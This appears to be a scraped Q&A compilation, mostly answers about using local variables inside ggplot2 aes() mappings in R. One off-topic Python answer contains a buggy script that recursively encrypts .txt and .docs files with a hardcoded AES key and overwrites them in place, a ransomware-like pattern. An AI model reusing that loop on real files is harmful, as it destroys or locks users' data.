Local Variables Within aes
I would capture the local environment,
xy <- data.frame(x=1:10,y=1:10)
plotfunc <- function(Data, YMul = 2){
.e <- environment()
ggplot(Data, aes(x = x, y = y*YMul), environment = .e) + geom_line()
}
plotfunc(xy)
Plotting a geom_rect with aes using local variables
You should remove the call to aes
in your geom_rect
because Dates$disp[1]
is a constant here :
print( ggplot(mpgData,aes(disp,hp))+
geom_point(shape=17,color="black",size=2) +
geom_rect(xmin=Dates$disp[1], xmax=200, ymin=0, ymax=Inf,fill = "aquamarine",alpha=0.01)
)
Scoping of variables in aes(...) inside a function in ggplot
Let's return a non-rendered ggplot
object to see what's going on:
gg.str <- function() {
i=2
str(ggplot(df,aes(x=x,y=df[,i]))+geom_line())
}
gg.str()
List of 9
$ data :'data.frame': 91 obs. of 3 variables:
..$ x : num [1:91] 1 1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 ...
..$ y1: num [1:91] 1 1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 ...
..$ y2: num [1:91] -0.208 -0.28 -0.335 -0.373 -0.393 ...
$ layers :List of 1
..$ :Classes 'proto', 'environment' <environment: 0x0000000009886ca0>
$ scales :Reference class 'Scales' [package "ggplot2"] with 1 fields
..$ scales: list()
..and 21 methods, of which 9 are possibly relevant:
.. add, clone, find, get_scales, has_scale, initialize, input, n, non_position_scales
$ mapping :List of 2
..$ x: symbol x
..$ y: language df[, i]
$ theme : list()
$ coordinates:List of 1
..$ limits:List of 2
.. ..$ x: NULL
.. ..$ y: NULL
..- attr(*, "class")= chr [1:2] "cartesian" "coord"
$ facet :List of 1
..$ shrink: logi TRUE
..- attr(*, "class")= chr [1:2] "null" "facet"
$ plot_env :<environment: R_GlobalEnv>
$ labels :List of 2
..$ x: chr "x"
..$ y: chr "df[, i]"
- attr(*, "class")= chr [1:2] "gg" "ggplot"
As we can see, mapping
for y
is simply an unevaluated expression. Now, when we ask to do the actual plotting, the expression is evaluated within plot_env
, which is global. I do not know why it is done so; I believe there are reasons for that.
Here's a demo that can override this behaviour:
gg.envir <- function(envir=environment()) {
i=2
p <- ggplot(df,aes(x=x,y=df[,i]))+geom_line()
p$plot_env <- envir
plot(p)
}
# evaluation in local environment; ok
gg.envir()
# evaluation in global environment (same as default); fails if no i
gg.envir(environment())
Usage of local variables
Use local
. Using your example:
local({
V1 = c(1,2,3);
V2 = c(1,2,3);
P = inner_product(V1, V2);
print(P);
})
# the variable V1, V2, P are undefined here!
Referencing stored variables in ggplot function
ggplot
will always work best if you put the values you're using in the dataframe. Something like:
addLabel = function(d, p, row) {
row_d = d[row, ]
row_d$h = max(row_d$X)*0.5
row_d$v = max(row_d$Y)*0.5
p = p + geom_text(data=row_d, aes(x = X+h, y = Y+v, label = Label))
return(p)
}
addLabel(alphabet, plot, 1)
I have assigned my variable but output says: local variable referenced before assignment
I think you missed your indentation you should try something like this to put your writtings inside your if
block
import os
from Crypto import Random
from Crypto.Cipher import AES
extensions = ['docs', 'txt']
tree = '.'
def padding(s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
def encrypt(message, key, key_size=256):
message = padding(message)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(message)
def allfiles():
for root, dirs, files in os.walk(tree):
for file in files:
if (file.endswith(tuple(extensions))):
with open(file, 'rb') as fs:
plaintext = fs.read()
enc = encrypt(plaintext, key)
with open(file, 'w') as fs:
fs.write(enc) # Here enc is defined in your if bloc for sure
key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'
else:
print('file not encrypted') # enc is not defined
allfiles()
ggplot2 variables within function
You're doing several things wrong.
First, everything specified inside aes()
should be columns in your data frame. Do not reference separate vectors, or redundantly call columns via data_df[,1]
. The whole point of specifying data = data_df
is that then everything inside aes()
is evaluated within that data frame.
Second, to write functions to create ggplot
s on different columns based on arguments, you should be using aes_string
so that you can pass the aesthetic mappings as characters explicitly and avoid problems with non-standard evaluation.
Similarly, I would not rely on deparse(substitute())
for the plot title. Use some other variable built into the data frame, or some other data structure.
For instance, I would do something more like this:
data_df = data.frame(matrix(rnorm(200), nrow=20))
time=1:nrow(data_df)
data_df$time <- time
graphit <- function(data,column){
ggplot(data=data, aes_string(x="time", y=column)) +
geom_point(alpha=1/4) +
ggtitle(column)
}
graphit(data_df,"X1")
ggplots stored in plot list to respect variable values at time of plot generation within for loop
I propose this solution which doesn't tell you why it doesn't work like you do :
l <- lapply(choice_COLs, temporary_function)
temporary_function <- function(COL_i){
COL_i_index <- which(COL_i == COLs_current)
# Generate "basis boxplot" (to plot scatterplot on top)
boxplot_scores <- data_temp %>%
gather(COL, score, all_of(COLs_current)) %>%
ggplot(aes(x = COL, y = score)) +
geom_boxplot()
# Get relevant data of COL_i for scattering: data of 4th quartile
quartile_values <- quantile(data_temp[[COL_i]])
threshold <- quartile_values["75%"] # threshold = 3. quartile value
data_temp_filtered <- data_temp %>%
filter(data_temp[[COL_i]] > threshold) %>% # filter the data of the 4th quartile
dplyr::select(COLs_current)
# Create layer of scatter for 4th quartile of COL_i
scatter <- geom_point(data=data_temp_filtered,
mapping = aes(x = COL_i_index,
y = eval(parse(text=(paste0(COL_i))))),
color= "orange")
# add geom objects to create final plot for COL_i
current_plot_complete <- boxplot_scores + scatter
return(current_plot_complete)
}
When you use lapply
you don't have such a problem.
It is inspired by this post
Use of ggplot() within another function in R
As Joris and Chase have already correctly answered, standard best practice is to simply omit the meansdf$
part and directly refer to the data frame columns.
testplot <- function(meansdf)
{
p <- ggplot(meansdf,
aes(fill = condition,
y = means,
x = condition))
p + geom_bar(position = "dodge", stat = "identity")
}
This works, because the variables referred to in aes
are looked for either in the global environment or in the data frame passed to ggplot
. That is also the reason why your example code - using meansdf$condition
etc. - did not work: meansdf
is neither available in the global environment, nor is it available inside the data frame passed to ggplot
, which is meansdf
itself.
The fact that the variables are looked for in the global environment instead of in the calling environment is actually a known bug in ggplot2 that Hadley does not consider fixable at the moment.
This leads to problems, if one wishes to use a local variable, say, scale
, to influence the data used for the plot:
testplot <- function(meansdf)
{
scale <- 0.5
p <- ggplot(meansdf,
aes(fill = condition,
y = means * scale, # does not work, since scale is not found
x = condition))
p + geom_bar(position = "dodge", stat = "identity")
}
A very nice workaround for this case is provided by Winston Chang in the referenced GitHub issue: Explicitly setting the environment
parameter to the current environment during the call to ggplot
.
Here's what that would look like for the above example:
testplot <- function(meansdf)
{
scale <- 0.5
p <- ggplot(meansdf,
aes(fill = condition,
y = means * scale,
x = condition),
environment = environment()) # This is the only line changed / added
p + geom_bar(position = "dodge", stat = "identity")
}
## Now, the following works
testplot(means)
How can I pass a ggplot2 aesthetic from a variable?
Hmmmm, I think you need a new aes
function that is a bit like aes
(in that it doesn't try to parse its arguments) and a bit like aes_string
(in that it evaluates its arguments immediately in the local environment):
aes_now <- function(...) {
structure(list(...), class = "uneval")
}
Then
bottom <- bottom + geom_rect(aes_now(xmin=lims[1], xmax=lims[2]),
ymin=-Inf, ymax=Inf, fill="grey80", alpha=0.01)
gives you what you want.
Related Topics
Capitalize the First Letter of Both Words in a Two Word String
Convert Data.Frame Column Format from Character to Factor
Error in ≪My Code≫: Target of Assignment Expands to Non-Language Object
Remove an Entire Column from a Data.Frame in R
How to Delete Rows from a Dataframe That Contain N*Na
Dplyr Mutate/Replace Several Columns on a Subset of Rows
Rep() With Each Equals a Vector
How to Load Packages in R Automatically
How to Match Fuzzy Match Strings from Two Datasets
Change Variable Name in For Loop Using R
Scatterplot With Too Many Points
Ggplot, Drawing Line Between Points Across Facets
Editing Legend (Text) Labels in Ggplot